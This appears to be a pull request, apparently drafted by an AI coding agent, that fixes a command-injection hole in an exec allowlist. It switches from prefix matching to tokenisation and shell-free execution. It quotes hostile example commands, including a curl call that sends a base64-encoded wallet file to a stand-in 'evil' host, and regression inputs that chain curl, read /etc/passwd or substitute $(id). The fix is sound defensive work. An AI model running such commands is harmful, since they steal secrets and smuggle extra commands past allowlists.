fix(exec): replace prefix-match allowlist with token-based check and shell-free execution

[konard]

Problem

Fixes #307 (FULL-C2 audit finding).

isCommandAllowed compared the raw command string by prefix. An operator who configured allowlist: ["git"] intending "only git" actually permitted:

git status && curl http://evil/$(cat ~/.teleton/wallet.json | base64)

The string starts with "git ", so isCommandAllowed returned true, and the whole pipeline was then handed to bash -c.

Solution

1. src/agent/tools/exec/allowlist.ts (new file)

tokenizeCommand(command) — minimal POSIX tokenizer (no external deps):

• Returns null immediately if the command contains any shell metacharacter: ; & | \ $ < > \ \n`
• Otherwise splits on unquoted whitespace, handling single- and double-quoted args

isCommandAllowed(command, commandAllowlist):

• Tokenizes the command; rejects if null or empty
• Compares first token of the command against the first token of each allowlist entry
• "git" and "git status" as allowlist entries are thus equivalent (both permit any git ... invocation)

2. src/agent/tools/exec/runner.ts

Accepts a new useShell?: boolean option (default true).
When false: executes spawn(argv[0], argv.slice(1)) — no bash, no shell.

3. src/agent/tools/exec/run.ts

Sets useShell = false when mode === "allowlist", so even if validation is somehow bypassed the OS never interprets shell syntax.

4. Documentation

• SECURITY.md: new Exec Allowlist Mode section explaining metachar rejection, shell-free execution, first-token matching, and pipe/redirect restrictions
• config.example.yaml: updated comments to show program-name allowlist entries
• src/config/schema.ts: updated command_allowlist description

Acceptance criteria

• isCommandAllowed uses tokenisation, not prefix-match
• Allowlist mode executes without bash -c
• git status && id rejected under allowlist: ["git"]
• git status executes correctly under allowlist: ["git"]
• SECURITY.md documents allowlist mode limitations

Test plan

New regression tests in src/agent/tools/exec/__tests__/tools.test.ts:

• tokenizeCommand suite: 12 cases covering quoting, all metachar classes, newline
• isCommandAllowed suite: updated cases + 4 SECURITY-labelled regression tests:
  • git status && id → rejected
  • git status; curl evil.com → rejected
  • git status | cat /etc/passwd → rejected
  • git $(id) → rejected
• Existing exec_run allowlist mode tests updated to assert useShell: false is passed to runner

TypeScript: tsc --noEmit exits 0.

[konard]

🤖 Solution Draft Log

This log file contains the complete execution trace of the AI solution draft process.

💰 Cost: $1.979571

📊 Context and tokens usage:

• 77.3K / 1M (8%) input tokens, 23.1K / 64K (36%) output tokens

Total: (67.9K + 4.6M cached) input tokens, 23.1K output tokens, $1.979571 cost

🤖 Models used:

• Tool: Anthropic Claude Code
• Requested: sonnet
• Model: Claude Sonnet 4.6 (claude-sonnet-4-6)

📎 Log file uploaded as Gist (2324KB)

• View complete solution draft log

---

Now working session is ended, feel free to review and add any feedback on the solution draft.

[konard]

✅ Ready to merge

This pull request is now ready to be merged:

• All CI checks have passed
• No merge conflicts
• No pending changes

---

Monitored by hive-mind with --auto-restart-until-mergeable flag